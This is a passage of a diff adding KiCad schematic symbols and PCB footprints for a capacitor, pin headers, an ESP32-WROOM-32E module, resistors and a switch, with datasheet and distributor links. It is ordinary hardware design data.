F5 "0.55" 350 -250 50 H I L CNN "Height"
|
||||
F6 "Samsung Electro-Mechanics" 350 -350 50 H I L CNN "Manufacturer_Name"
|
||||
F7 "CL05B104KO5NNNC" 350 -450 50 H I L CNN "Manufacturer_Part_Number"
|
||||
F8 "187-CL05B104KO5NNNC" 350 -550 50 H I L CNN "Mouser Part Number"
|
||||
F9 "https://www.mouser.co.uk/ProductDetail/Samsung-Electro-Mechanics/CL05B104KO5NNNC?qs=hqM3L16%252BxlfT2SKOuAUq6Q%3D%3D" 350 -650 50 H I L CNN "Mouser Price/Stock"
|
||||
F10 "CL05B104KO5NNNC" 350 -750 50 H I L CNN "Arrow Part Number"
|
||||
F11 "https://www.arrow.com/en/products/cl05b104ko5nnnc/samsung-electro-mechanics?region=europe" 350 -850 50 H I L CNN "Arrow Price/Stock"
|
||||
F12 "" 350 -950 50 H I L CNN "Mouser Testing Part Number"
|
||||
F13 "" 350 -1050 50 H I L CNN "Mouser Testing Price/Stock"
|
||||
DRAW
|
||||
X ~ 1 0 0 200 R 50 50 0 0 P
|
||||
X ~ 2 500 0 200 L 50 50 0 0 P
|
||||
P 2 0 1 6 220 100 220 -100 N
|
||||
P 2 0 1 6 280 100 280 -100 N
|
||||
P 2 0 1 6 200 0 220 0 N
|
||||
P 2 0 1 6 280 0 300 0 N
|
||||
ENDDRAW
|
||||
ENDDEF
|
||||
#
|
||||
#End Library
|
||||
@@ -0,0 +1,35 @@
|
||||
EESchema-LIBRARY Version 2.3
|
||||
#encoding utf-8
|
||||
#SamacSys ECAD Model DZ254S-11-10-48
|
||||
#/17126707/987070/2.49/10/0/Connector
|
||||
DEF DZ254S-11-10-48 J 0 30 Y Y 1 F N
|
||||
F0 "J" 750 300 50 H V L CNN
|
||||
F1 "DZ254S-11-10-48" 750 200 50 H V L CNN
|
||||
F2 "HUSRSP10W66P254_2500X250X850P" 750 100 50 H I L CNN
|
||||
F3 "https://datasheet.lcsc.com/lcsc/2209141730_DEALON-DZ254S-11-10-48_C5160793.pdf" 750 0 50 H I L CNN
|
||||
F4 "Brick nogging Square Pins 1 10 2.54mm 1x10P SMD,P=2.54mm() Pin Headers ROHS" 750 -100 50 H I L CNN "Description"
|
||||
F5 "" 750 -200 50 H I L CNN "Height"
|
||||
F6 "DEALON" 750 -300 50 H I L CNN "Manufacturer_Name"
|
||||
F7 "DZ254S-11-10-48" 750 -400 50 H I L CNN "Manufacturer_Part_Number"
|
||||
F8 "" 750 -500 50 H I L CNN "Mouser Part Number"
|
||||
F9 "" 750 -600 50 H I L CNN "Mouser Price/Stock"
|
||||
F10 "" 750 -700 50 H I L CNN "Arrow Part Number"
|
||||
F11 "" 750 -800 50 H I L CNN "Arrow Price/Stock"
|
||||
F12 "" 750 -900 50 H I L CNN "Mouser Testing Part Number"
|
||||
F13 "" 750 -1000 50 H I L CNN "Mouser Testing Price/Stock"
|
||||
DRAW
|
||||
X 1 1 0 0 200 R 50 50 0 0 P
|
||||
X 2 2 0 -100 200 R 50 50 0 0 P
|
||||
X 3 3 0 -200 200 R 50 50 0 0 P
|
||||
X 4 4 0 -300 200 R 50 50 0 0 P
|
||||
X 5 5 0 -400 200 R 50 50 0 0 P
|
||||
X 6 6 900 0 200 L 50 50 0 0 P
|
||||
X 7 7 900 -100 200 L 50 50 0 0 P
|
||||
X 8 8 900 -200 200 L 50 50 0 0 P
|
||||
X 9 9 900 -300 200 L 50 50 0 0 P
|
||||
X 10 10 900 -400 200 L 50 50 0 0 P
|
||||
P 5 0 1 6 200 100 700 100 700 -500 200 -500 200 100 N
|
||||
ENDDRAW
|
||||
ENDDEF
|
||||
#
|
||||
#End Library
|
||||
@@ -0,0 +1,72 @@
|
||||
EESchema-LIBRARY Version 2.3
|
||||
#encoding utf-8
|
||||
#SamacSys ECAD Model ESP32-WROOM-32E-N4
|
||||
#/15884694/987070/2.49/47/4/Integrated Circuit
|
||||
DEF ESP32-WROOM-32E-N4 IC 0 30 Y Y 1 F N
|
||||
F0 "IC" 1350 300 50 H V L CNN
|
||||
F1 "ESP32-WROOM-32E-N4" 1350 200 50 H V L CNN
|
||||
F2 "ESP32WROOM32EN4" 1350 100 50 H I L CNN
|
||||
F3 "https://www.espressif.com/sites/default/files/documentation/esp32-wroom-32e_esp32-wroom-32ue_datasheet_en.pdf" 1350 0 50 H I L CNN
|
||||
F4 "RX TXRX MOD WIFI TRACE ANT SMD" 1350 -100 50 H I L CNN "Description"
|
||||
F5 "3.25" 1350 -200 50 H I L CNN "Height"
|
||||
F6 "Espressif Systems" 1350 -300 50 H I L CNN "Manufacturer_Name"
|
||||
F7 "ESP32-WROOM-32E-N4" 1350 -400 50 H I L CNN "Manufacturer_Part_Number"
|
||||
F8 "356-ESP32WRM32E132PH" 1350 -500 50 H I L CNN "Mouser Part Number"
|
||||
F9 "https://www.mouser.co.uk/ProductDetail/Espressif-Systems/ESP32-WROOM-32E-N4?qs=Li%252BoUPsLEnsPzTWsi%252BRMgQ%3D%3D" 1350 -600 50 H I L CNN "Mouser Price/Stock"
|
||||
F10 "" 1350 -700 50 H I L CNN "Arrow Part Number"
|
||||
F11 "" 1350 -800 50 H I L CNN "Arrow Price/Stock"
|
||||
F12 "" 1350 -900 50 H I L CNN "Mouser Testing Part Number"
|
||||
F13 "" 1350 -1000 50 H I L CNN "Mouser Testing Price/Stock"
|
||||
DRAW
|
||||
X GND_1 1 0 0 200 R 50 50 0 0 P
|
||||
X 3V3 2 0 -100 200 R 50 50 0 0 P
|
||||
X EN 3 0 -200 200 R 50 50 0 0 P
|
||||
X SENSOR_VP 4 0 -300 200 R 50 50 0 0 P
|
||||
X SENSOR_VN 5 0 -400 200 R 50 50 0 0 P
|
||||
X IO34 6 0 -500 200 R 50 50 0 0 P
|
||||
X IO35 7 0 -600 200 R 50 50 0 0 P
|
||||
X IO32 8 0 -700 200 R 50 50 0 0 P
|
||||
X IO33 9 0 -800 200 R 50 50 0 0 P
|
||||
X IO25 10 0 -900 200 R 50 50 0 0 P
|
||||
X IO26 11 0 -1000 200 R 50 50 0 0 P
|
||||
X IO27 12 0 -1100 200 R 50 50 0 0 P
|
||||
X IO14 13 0 -1200 200 R 50 50 0 0 P
|
||||
X IO12 14 0 -1300 200 R 50 50 0 0 P
|
||||
X GND_2 15 0 -1400 200 R 50 50 0 0 P
|
||||
X IO13 16 0 -1500 200 R 50 50 0 0 P
|
||||
X NC_1 17 0 -1600 200 R 50 50 0 0 P
|
||||
X NC_2 18 0 -1700 200 R 50 50 0 0 P
|
||||
X NC_3 19 0 -1800 200 R 50 50 0 0 P
|
||||
X NC_4 20 0 -1900 200 R 50 50 0 0 P
|
||||
X NC_5 21 0 -2000 200 R 50 50 0 0 P
|
||||
X NC_6 22 0 -2100 200 R 50 50 0 0 P
|
||||
X IO15 23 0 -2200 200 R 50 50 0 0 P
|
||||
X IO2 24 0 -2300 200 R 50 50 0 0 P
|
||||
X IO0 25 1500 0 200 L 50 50 0 0 P
|
||||
X IO4 26 1500 -100 200 L 50 50 0 0 P
|
||||
X IO16 27 1500 -200 200 L 50 50 0 0 P
|
||||
X IO17 28 1500 -300 200 L 50 50 0 0 P
|
||||
X IO5 29 1500 -400 200 L 50 50 0 0 P
|
||||
X IO18 30 1500 -500 200 L 50 50 0 0 P
|
||||
X IO19 31 1500 -600 200 L 50 50 0 0 P
|
||||
X NC_7 32 1500 -700 200 L 50 50 0 0 P
|
||||
X IO21 33 1500 -800 200 L 50 50 0 0 P
|
||||
X RXD0 34 1500 -900 200 L 50 50 0 0 P
|
||||
X TXD0 35 1500 -1000 200 L 50 50 0 0 P
|
||||
X IO22 36 1500 -1100 200 L 50 50 0 0 P
|
||||
X IO23 37 1500 -1200 200 L 50 50 0 0 P
|
||||
X GND_3 38 1500 -1300 200 L 50 50 0 0 P
|
||||
X GND_4 39 1500 -1400 200 L 50 50 0 0 P
|
||||
X GND_5 40 1500 -1500 200 L 50 50 0 0 P
|
||||
X GND_6 41 1500 -1600 200 L 50 50 0 0 P
|
||||
X GND_7 42 1500 -1700 200 L 50 50 0 0 P
|
||||
X GND_8 43 1500 -1800 200 L 50 50 0 0 P
|
||||
X GND_9 44 1500 -1900 200 L 50 50 0 0 P
|
||||
X GND_10 45 1500 -2000 200 L 50 50 0 0 P
|
||||
X GND_11 46 1500 -2100 200 L 50 50 0 0 P
|
||||
X GND_12 47 1500 -2200 200 L 50 50 0 0 P
|
||||
P 5 0 1 6 200 100 1300 100 1300 -2400 200 -2400 200 100 N
|
||||
ENDDRAW
|
||||
ENDDEF
|
||||
#
|
||||
#End Library
|
||||
@@ -0,0 +1,85 @@
|
||||
(module "ESP32WROOM32EN4" (layer F.Cu)
|
||||
(descr "ESP32-WROOM-32E-N4-1")
|
||||
(tags "Integrated Circuit")
|
||||
(attr smd)
|
||||
(fp_text reference IC** (at 0.000 0.25) (layer F.SilkS)
|
||||
(effects (font (size 1.27 1.27) (thickness 0.254)))
|
||||
)
|
||||
(fp_text user %R (at 0.000 0.25) (layer F.Fab)
|
||||
(effects (font (size 1.27 1.27) (thickness 0.254)))
|
||||
)
|
||||
(fp_text value "ESP32WROOM32EN4" (at 0.000 0.25) (layer F.SilkS) hide
|
||||
(effects (font (size 1.27 1.27) (thickness 0.254)))
|
||||
)
|
||||
(fp_line (start -9 12.75) (end 9 12.75) (layer F.Fab) (width 0.1))
|
||||
(fp_line (start 9 12.75) (end 9 -12.75) (layer F.Fab) (width 0.1))
|
||||
(fp_line (start 9 -12.75) (end -9 -12.75) (layer F.Fab) (width 0.1))
|
||||
(fp_line (start -9 -12.75) (end -9 12.75) (layer F.Fab) (width 0.1))
|
||||
(fp_line (start -10.5 -13.75) (end 10.5 -13.75) (layer F.CrtYd) (width 0.1))
|
||||
(fp_line (start 10.5 -13.75) (end 10.5 14.25) (layer F.CrtYd) (width 0.1))
|
||||
(fp_line (start 10.5 14.25) (end -10.5 14.25) (layer F.CrtYd) (width 0.1))
|
||||
(fp_line (start -10.5 14.25) (end -10.5 -13.75) (layer F.CrtYd) (width 0.1))
|
||||
(fp_line (start -9 -6) (end -9 -12.75) (layer F.SilkS) (width 0.2))
|
||||
(fp_line (start -9 -12.75) (end 9 -12.75) (layer F.SilkS) (width 0.2))
|
||||
(fp_line (start 9 -12.75) (end 9 -6) (layer F.SilkS) (width 0.2))
|
||||
(fp_line (start 9 12) (end 9 12.75) (layer F.SilkS) (width 0.2))
|
||||
(fp_line (start 9 12.75) (end 6.5 12.75) (layer F.SilkS) (width 0.2))
|
||||
(fp_line (start -6.5 12.75) (end -9 12.75) (layer F.SilkS) (width 0.2))
|
||||
(fp_line (start -9 12.75) (end -9 12) (layer F.SilkS) (width 0.2))
|
||||
(fp_line (start -10.1 -5.26) (end -10.1 -5.26) (layer F.SilkS) (width 0.1))
|
||||
(fp_line (start -10 -5.26) (end -10 -5.26) (layer F.SilkS) (width 0.1))
|
||||
(fp_arc (start -10.05 -5.26) (end -10.100 -5.26) (angle -180) (layer F.SilkS) (width 0.1))
|
||||
(fp_arc (start -10.05 -5.26) (end -10.000 -5.26) (angle -180) (layer F.SilkS) (width 0.1))
|
||||
(pad 1 smd rect (at -8.750 -5.26 90) (size 0.900 1.500) (layers F.Cu F.Paste F.Mask))
|
||||
(pad 2 smd rect (at -8.750 -3.99 90) (size 0.900 1.500) (layers F.Cu F.Paste F.Mask))
|
||||
(pad 3 smd rect (at -8.750 -2.72 90) (size 0.900 1.500) (layers F.Cu F.Paste F.Mask))
|
||||
(pad 4 smd rect (at -8.750 -1.45 90) (size 0.900 1.500) (layers F.Cu F.Paste F.Mask))
|
||||
(pad 5 smd rect (at -8.750 -0.18 90) (size 0.900 1.500) (layers F.Cu F.Paste F.Mask))
|
||||
(pad 6 smd rect (at -8.750 1.09 90) (size 0.900 1.500) (layers F.Cu F.Paste F.Mask))
|
||||
(pad 7 smd rect (at -8.750 2.36 90) (size 0.900 1.500) (layers F.Cu F.Paste F.Mask))
|
||||
(pad 8 smd rect (at -8.750 3.63 90) (size 0.900 1.500) (layers F.Cu F.Paste F.Mask))
|
||||
(pad 9 smd rect (at -8.750 4.9 90) (size 0.900 1.500) (layers F.Cu F.Paste F.Mask))
|
||||
(pad 10 smd rect (at -8.750 6.17 90) (size 0.900 1.500) (layers F.Cu F.Paste F.Mask))
|
||||
(pad 11 smd rect (at -8.750 7.44 90) (size 0.900 1.500) (layers F.Cu F.Paste F.Mask))
|
||||
(pad 12 smd rect (at -8.750 8.71 90) (size 0.900 1.500) (layers F.Cu F.Paste F.Mask))
|
||||
(pad 13 smd rect (at -8.750 9.98 90) (size 0.900 1.500) (layers F.Cu F.Paste F.Mask))
|
||||
(pad 14 smd rect (at -8.750 11.25 90) (size 0.900 1.500) (layers F.Cu F.Paste F.Mask))
|
||||
(pad 15 smd rect (at -5.715 12.5 0) (size 0.900 1.500) (layers F.Cu F.Paste F.Mask))
|
||||
(pad 16 smd rect (at -4.445 12.5 0) (size 0.900 1.500) (layers F.Cu F.Paste F.Mask))
|
||||
(pad 17 smd rect (at -3.175 12.5 0) (size 0.900 1.500) (layers F.Cu F.Paste F.Mask))
|
||||
(pad 18 smd rect (at -1.905 12.5 0) (size 0.900 1.500) (layers F.Cu F.Paste F.Mask))
|
||||
(pad 19 smd rect (at -0.635 12.5 0) (size 0.900 1.500) (layers F.Cu F.Paste F.Mask))
|
||||
(pad 20 smd rect (at 0.635 12.5 0) (size 0.900 1.500) (layers F.Cu F.Paste F.Mask))
|
||||
(pad 21 smd rect (at 1.905 12.5 0) (size 0.900 1.500) (layers F.Cu F.Paste F.Mask))
|
||||
(pad 22 smd rect (at 3.175 12.5 0) (size 0.900 1.500) (layers F.Cu F.Paste F.Mask))
|
||||
(pad 23 smd rect (at 4.445 12.5 0) (size 0.900 1.500) (layers F.Cu F.Paste F.Mask))
|
||||
(pad 24 smd rect (at 5.715 12.5 0) (size 0.900 1.500) (layers F.Cu F.Paste F.Mask))
|
||||
(pad 25 smd rect (at 8.750 11.25 90) (size 0.900 1.500) (layers F.Cu F.Paste F.Mask))
|
||||
(pad 26 smd rect (at 8.750 9.98 90) (size 0.900 1.500) (layers F.Cu F.Paste F.Mask))
|
||||
(pad 27 smd rect (at 8.750 8.71 90) (size 0.900 1.500) (layers F.Cu F.Paste F.Mask))
|
||||
(pad 28 smd rect (at 8.750 7.44 90) (size 0.900 1.500) (layers F.Cu F.Paste F.Mask))
|
||||
(pad 29 smd rect (at 8.750 6.17 90) (size 0.900 1.500) (layers F.Cu F.Paste F.Mask))
|
||||
(pad 30 smd rect (at 8.750 4.9 90) (size 0.900 1.500) (layers F.Cu F.Paste F.Mask))
|
||||
(pad 31 smd rect (at 8.750 3.63 90) (size 0.900 1.500) (layers F.Cu F.Paste F.Mask))
|
||||
(pad 32 smd rect (at 8.750 2.36 90) (size 0.900 1.500) (layers F.Cu F.Paste F.Mask))
|
||||
(pad 33 smd rect (at 8.750 1.09 90) (size 0.900 1.500) (layers F.Cu F.Paste F.Mask))
|
||||
(pad 34 smd rect (at 8.750 -0.18 90) (size 0.900 1.500) (layers F.Cu F.Paste F.Mask))
|
||||
(pad 35 smd rect (at 8.750 -1.45 90) (size 0.900 1.500) (layers F.Cu F.Paste F.Mask))
|
||||
(pad 36 smd rect (at 8.750 -2.72 90) (size 0.900 1.500) (layers F.Cu F.Paste F.Mask))
|
||||
(pad 37 smd rect (at 8.750 -3.99 90) (size 0.900 1.500) (layers F.Cu F.Paste F.Mask))
|
||||
(pad 38 smd rect (at 8.750 -5.26 90) (size 0.900 1.500) (layers F.Cu F.Paste F.Mask))
|
||||
(pad 39 smd rect (at -2.900 1.06 90) (size 0.900 0.900) (layers F.Cu F.Paste F.Mask))
|
||||
(pad 40 smd rect (at -2.900 2.46 90) (size 0.900 0.900) (layers F.Cu F.Paste F.Mask))
|
||||
(pad 41 smd rect (at -2.900 3.86 90) (size 0.900 0.900) (layers F.Cu F.Paste F.Mask))
|
||||
(pad 42 smd rect (at -1.500 3.86 90) (size 0.900 0.900) (layers F.Cu F.Paste F.Mask))
|
||||
(pad 43 smd rect (at -0.100 3.86 90) (size 0.900 0.900) (layers F.Cu F.Paste F.Mask))
|
||||
(pad 44 smd rect (at -0.100 2.46 90) (size 0.900 0.900) (layers F.Cu F.Paste F.Mask))
|
||||
(pad 45 smd rect (at -0.100 1.06 90) (size 0.900 0.900) (layers F.Cu F.Paste F.Mask))
|
||||
(pad 46 smd rect (at -1.500 1.06 90) (size 0.900 0.900) (layers F.Cu F.Paste F.Mask))
|
||||
(pad 47 smd rect (at -1.500 2.46 90) (size 0.900 0.900) (layers F.Cu F.Paste F.Mask))
|
||||
(model ESP32-WROOM-32E-N4.stp
|
||||
(at (xyz 0 0 0))
|
||||
(scale (xyz 1 1 1))
|
||||
(rotate (xyz 0 0 0))
|
||||
)
|
||||
)
|
||||
@@ -0,0 +1,39 @@
|
||||
(module "HUSRSP10W66P254_2500X250X850P" (layer F.Cu)
|
||||
(descr "DZ254S-11-10-48")
|
||||
(tags "Connector")
|
||||
(attr smd)
|
||||
(fp_text reference J** (at 0 0) (layer F.SilkS)
|
||||
(effects (font (size 1.27 1.27) (thickness 0.254)))
|
||||
)
|
||||
(fp_text user %R (at 0 0) (layer F.Fab)
|
||||
(effects (font (size 1.27 1.27) (thickness 0.254)))
|
||||
)
|
||||
(fp_text value "HUSRSP10W66P254_2500X250X850P" (at 0 0) (layer F.SilkS) hide
|
||||
(effects (font (size 1.27 1.27) (thickness 0.254)))
|
||||
)
|
||||
(fp_line (start -12.75 -4.01) (end 12.75 -4.01) (layer F.CrtYd) (width 0.05))
|
||||
(fp_line (start 12.75 -4.01) (end 12.75 4.01) (layer F.CrtYd) (width 0.05))
|
||||
(fp_line (start 12.75 4.01) (end -12.75 4.01) (layer F.CrtYd) (width 0.05))
|
||||
(fp_line (start -12.75 4.01) (end -12.75 -4.01) (layer F.CrtYd) (width 0.05))
|
||||
(fp_line (start -12.5 -1.25) (end 12.5 -1.25) (layer F.Fab) (width 0.1))
|
||||
(fp_line (start 12.5 -1.25) (end 12.5 1.25) (layer F.Fab) (width 0.1))
|
||||
(fp_line (start 12.5 1.25) (end -12.5 1.25) (layer F.Fab) (width 0.1))
|
||||
(fp_line (start -12.5 1.25) (end -12.5 -1.25) (layer F.Fab) (width 0.1))
|
||||
(fp_line (start -12.5 1.25) (end -12.5 -3.76) (layer F.SilkS) (width 0.2))
|
||||
(fp_line (start 12.5 1.25) (end 12.5 -1.25) (layer F.SilkS) (width 0.2))
|
||||
(pad 1 smd rect (at -11.43 -1.04 0) (size 0.96 5.44) (layers F.Cu F.Paste F.Mask))
|
||||
(pad 2 smd rect (at -8.89 1.04 0) (size 0.96 5.44) (layers F.Cu F.Paste F.Mask))
|
||||
(pad 3 smd rect (at -6.35 -1.04 0) (size 0.96 5.44) (layers F.Cu F.Paste F.Mask))
|
||||
(pad 4 smd rect (at -3.81 1.04 0) (size 0.96 5.44) (layers F.Cu F.Paste F.Mask))
|
||||
(pad 5 smd rect (at -1.27 -1.04 0) (size 0.96 5.44) (layers F.Cu F.Paste F.Mask))
|
||||
(pad 6 smd rect (at 1.27 1.04 0) (size 0.96 5.44) (layers F.Cu F.Paste F.Mask))
|
||||
(pad 7 smd rect (at 3.81 -1.04 0) (size 0.96 5.44) (layers F.Cu F.Paste F.Mask))
|
||||
(pad 8 smd rect (at 6.35 1.04 0) (size 0.96 5.44) (layers F.Cu F.Paste F.Mask))
|
||||
(pad 9 smd rect (at 8.89 -1.04 0) (size 0.96 5.44) (layers F.Cu F.Paste F.Mask))
|
||||
(pad 10 smd rect (at 11.43 1.04 0) (size 0.96 5.44) (layers F.Cu F.Paste F.Mask))
|
||||
(model DZ254S-11-10-48.stp
|
||||
(at (xyz 0 0 0))
|
||||
(scale (xyz 1 1 1))
|
||||
(rotate (xyz 0 0 0))
|
||||
)
|
||||
)
|
||||
@@ -0,0 +1,37 @@
|
||||
(module "HUSRSP8W66P254_2000X250X850P" (layer F.Cu)
|
||||
(descr "X6511WVS-08H-C60D48R2")
|
||||
(tags "Connector")
|
||||
(attr smd)
|
||||
(fp_text reference J** (at 0 0) (layer F.SilkS)
|
||||
(effects (font (size 1.27 1.27) (thickness 0.254)))
|
||||
)
|
||||
(fp_text user %R (at 0 0) (layer F.Fab)
|
||||
(effects (font (size 1.27 1.27) (thickness 0.254)))
|
||||
)
|
||||
(fp_text value "HUSRSP8W66P254_2000X250X850P" (at 0 0) (layer F.SilkS) hide
|
||||
(effects (font (size 1.27 1.27) (thickness 0.254)))
|
||||
)
|
||||
(fp_line (start -10.25 -4.01) (end 10.25 -4.01) (layer F.CrtYd) (width 0.05))
|
||||
(fp_line (start 10.25 -4.01) (end 10.25 4.01) (layer F.CrtYd) (width 0.05))
|
||||
(fp_line (start 10.25 4.01) (end -10.25 4.01) (layer F.CrtYd) (width 0.05))
|
||||
(fp_line (start -10.25 4.01) (end -10.25 -4.01) (layer F.CrtYd) (width 0.05))
|
||||
(fp_line (start -10 -1.25) (end 10 -1.25) (layer F.Fab) (width 0.1))
|
||||
(fp_line (start 10 -1.25) (end 10 1.25) (layer F.Fab) (width 0.1))
|
||||
(fp_line (start 10 1.25) (end -10 1.25) (layer F.Fab) (width 0.1))
|
||||
(fp_line (start -10 1.25) (end -10 -1.25) (layer F.Fab) (width 0.1))
|
||||
(fp_line (start -10 1.25) (end -10 -3.76) (layer F.SilkS) (width 0.2))
|
||||
(fp_line (start 10 1.25) (end 10 -1.25) (layer F.SilkS) (width 0.2))
|
||||
(pad 1 smd rect (at -8.89 -1.04 0) (size 0.96 5.44) (layers F.Cu F.Paste F.Mask))
|
||||
(pad 2 smd rect (at -6.35 1.04 0) (size 0.96 5.44) (layers F.Cu F.Paste F.Mask))
|
||||
(pad 3 smd rect (at -3.81 -1.04 0) (size 0.96 5.44) (layers F.Cu F.Paste F.Mask))
|
||||
(pad 4 smd rect (at -1.27 1.04 0) (size 0.96 5.44) (layers F.Cu F.Paste F.Mask))
|
||||
(pad 5 smd rect (at 1.27 -1.04 0) (size 0.96 5.44) (layers F.Cu F.Paste F.Mask))
|
||||
(pad 6 smd rect (at 3.81 1.04 0) (size 0.96 5.44) (layers F.Cu F.Paste F.Mask))
|
||||
(pad 7 smd rect (at 6.35 -1.04 0) (size 0.96 5.44) (layers F.Cu F.Paste F.Mask))
|
||||
(pad 8 smd rect (at 8.89 1.04 0) (size 0.96 5.44) (layers F.Cu F.Paste F.Mask))
|
||||
(model X6511WVS-08H-C60D48R2.stp
|
||||
(at (xyz 0 0 0))
|
||||
(scale (xyz 1 1 1))
|
||||
(rotate (xyz 0 0 0))
|
||||
)
|
||||
)
|
||||
@@ -0,0 +1,27 @@
|
||||
EESchema-LIBRARY Version 2.3
|
||||
#encoding utf-8
|
||||
#SamacSys ECAD Model RC0402FR-0710KL
|
||||
#/541505/987070/2.49/2/3/Resistor
|
||||
DEF RC0402FR-0710KL R 0 30 Y Y 1 F N
|
||||
F0 "R" 550 250 50 H V L CNN
|
||||
F1 "RC0402FR-0710KL" 550 150 50 H V L CNN
|
||||
F2 "RESC1005X40N" 550 50 50 H I L CNN
|
||||
F3 "https://datasheet.datasheetarchive.com/originals/distributors/Datasheets_SAMA/902f9e387b938f871d31120f5fc1d65e.pdf" 550 -50 50 H I L CNN
|
||||
F4 "YAGEO (PHYCOMP) - RC0402FR-0710KL. - RES, THICK FILM, 10K, 1%, 0.0625W, 0402" 550 -150 50 H I L CNN "Description"
|
||||
F5 "0.4" 550 -250 50 H I L CNN "Height"
|
||||
F6 "KEMET" 550 -350 50 H I L CNN "Manufacturer_Name"
|
||||
F7 "RC0402FR-0710KL" 550 -450 50 H I L CNN "Manufacturer_Part_Number"
|
||||
F8 "603-RC0402FR-0710KL" 550 -550 50 H I L CNN "Mouser Part Number"
|
||||
F9 "https://www.mouser.co.uk/ProductDetail/YAGEO/RC0402FR-0710KL?qs=I1mnnYJTTsxUoNwrUsQExA%3D%3D" 550 -650 50 H I L CNN "Mouser Price/Stock"
|
||||
F10 "RC0402FR-0710KL" 550 -750 50 H I L CNN "Arrow Part Number"
|
||||
F11 "https://www.arrow.com/en/products/rc0402fr-0710kl/yageo?region=europe" 550 -850 50 H I L CNN "Arrow Price/Stock"
|
||||
F12 "" 550 -950 50 H I L CNN "Mouser Testing Part Number"
|
||||
F13 "" 550 -1050 50 H I L CNN "Mouser Testing Price/Stock"
|
||||
DRAW
|
||||
X ~ 1 0 0 200 R 50 50 0 0 P
|
||||
X ~ 2 700 0 200 L 50 50 0 0 P
|
||||
P 5 0 1 6 200 50 500 50 500 -50 200 -50 200 50 N
|
||||
ENDDRAW
|
||||
ENDDEF
|
||||
#
|
||||
#End Library
|
||||
@@ -0,0 +1,27 @@
|
||||
EESchema-LIBRARY Version 2.3
|
||||
#encoding utf-8
|
||||
#SamacSys ECAD Model RC0402FR-07220RL
|
||||
#/349197/987070/2.49/2/5/Resistor
|
||||
DEF RC0402FR-07220RL R 0 30 Y Y 1 F N
|
||||
F0 "R" 550 250 50 H V L CNN
|
||||
F1 "RC0402FR-07220RL" 550 150 50 H V L CNN
|
||||
F2 "RESC1005X40N" 550 50 50 H I L CNN
|
||||
F3 "https://datasheet.datasheetarchive.com/originals/distributors/Datasheets_SAMA/902f9e387b938f871d31120f5fc1d65e.pdf" 550 -50 50 H I L CNN
|
||||
F4 "YAGEO (PHYCOMP) - RC0402FR-07220RL - RES, THICK FILM, 220R, 1%, 0.063W, 0402" 550 -150 50 H I L CNN "Description"
|
||||
F5 "0.4" 550 -250 50 H I L CNN "Height"
|
||||
F6 "KEMET" 550 -350 50 H I L CNN "Manufacturer_Name"
|
||||
F7 "RC0402FR-07220RL" 550 -450 50 H I L CNN "Manufacturer_Part_Number"
|
||||
F8 "603-RC0402FR-07220RL" 550 -550 50 H I L CNN "Mouser Part Number"
|
||||
F9 "https://www.mouser.co.uk/ProductDetail/YAGEO/RC0402FR-07220RL?qs=UOUeRUa%252B8Wkw9iNOZEwgHw%3D%3D" 550 -650 50 H I L CNN "Mouser Price/Stock"
|
||||
F10 "RC0402FR-07220RL" 550 -750 50 H I L CNN "Arrow Part Number"
|
||||
F11 "https://www.arrow.com/en/products/rc0402fr-07220rl/yageo?region=nac" 550 -850 50 H I L CNN "Arrow Price/Stock"
|
||||
F12 "" 550 -950 50 H I L CNN "Mouser Testing Part Number"
|
||||
F13 "" 550 -1050 50 H I L CNN "Mouser Testing Price/Stock"
|
||||
DRAW
|
||||
X ~ 1 0 0 200 R 50 50 0 0 P
|
||||
X ~ 2 700 0 200 L 50 50 0 0 P
|
||||
P 5 0 1 6 200 50 500 50 500 -50 200 -50 200 50 N
|
||||
ENDDRAW
|
||||
ENDDEF
|
||||
#
|
||||
#End Library
|
||||
@@ -0,0 +1,29 @@
|
||||
(module "RESC1005X40N" (layer F.Cu)
|
||||
(descr "RC0402")
|
||||
(tags "Resistor")
|
||||
(attr smd)
|
||||
(fp_text reference R** (at 0 0) (layer F.SilkS)
|
||||
(effects (font (size 1.27 1.27) (thickness 0.254)))
|
||||
)
|
||||
(fp_text user %R (at 0 0) (layer F.Fab)
|
||||
(effects (font (size 1.27 1.27) (thickness 0.254)))
|
||||
)
|
||||
(fp_text value "RESC1005X40N" (at 0 0) (layer F.SilkS) hide
|
||||
(effects (font (size 1.27 1.27) (thickness 0.254)))
|
||||
)
|
||||
(fp_line (start -1.175 -0.55) (end 1.175 -0.55) (layer F.CrtYd) (width 0.05))
|
||||
(fp_line (start 1.175 -0.55) (end 1.175 0.55) (layer F.CrtYd) (width 0.05))
|
||||
(fp_line (start 1.175 0.55) (end -1.175 0.55) (layer F.CrtYd) (width 0.05))
|
||||
(fp_line (start -1.175 0.55) (end -1.175 -0.55) (layer F.CrtYd) (width 0.05))
|
||||
(fp_line (start -0.5 -0.25) (end 0.5 -0.25) (layer F.Fab) (width 0.1))
|
||||
(fp_line (start 0.5 -0.25) (end 0.5 0.25) (layer F.Fab) (width 0.1))
|
||||
(fp_line (start 0.5 0.25) (end -0.5 0.25) (layer F.Fab) (width 0.1))
|
||||
(fp_line (start -0.5 0.25) (end -0.5 -0.25) (layer F.Fab) (width 0.1))
|
||||
(pad 1 smd rect (at -0.55 0 90) (size 0.6 0.75) (layers F.Cu F.Paste F.Mask))
|
||||
(pad 2 smd rect (at 0.55 0 90) (size 0.6 0.75) (layers F.Cu F.Paste F.Mask))
|
||||
(model RC0402FR-07220RL.stp
|
||||
(at (xyz 0 0 0))
|
||||
(scale (xyz 1 1 1))
|
||||
(rotate (xyz 0 0 0))
|
||||
)
|
||||
)
|
||||
@@ -0,0 +1,40 @@
|
||||
(module "SKRPABE010" (layer F.Cu)
|
||||
(descr "SKRPABE010-1")
|
||||
(tags "Switch")
|
||||
(attr smd)
|
||||
(fp_text reference S** (at 0.000 -0) (layer F.SilkS)
|
||||
(effects (font (size 1.27 1.27) (thickness 0.254)))
|
||||
)
|
||||
(fp_text user %R (at 0.000 -0) (layer F.Fab)
|
||||
(effects (font (size 1.27 1.27) (thickness 0.254)))
|
||||
)
|
||||
(fp_text value "SKRPABE010" (at 0.000 -0) (layer F.SilkS) hide
|
||||
(effects (font (size 1.27 1.27) (thickness 0.254)))
|
||||
)
|
||||
(fp_line (start -2.1 -1.6) (end 2.1 -1.6) (layer F.Fab) (width 0.2))
|
||||
(fp_line (start 2.1 -1.6) (end 2.1 1.6) (layer F.Fab) (width 0.2))
|
||||
(fp_line (start 2.1 1.6) (end -2.1 1.6) (layer F.Fab) (width 0.2))
|
||||
(fp_line (start -2.1 1.6) (end -2.1 -1.6) (layer F.Fab) (width 0.2))
|
||||
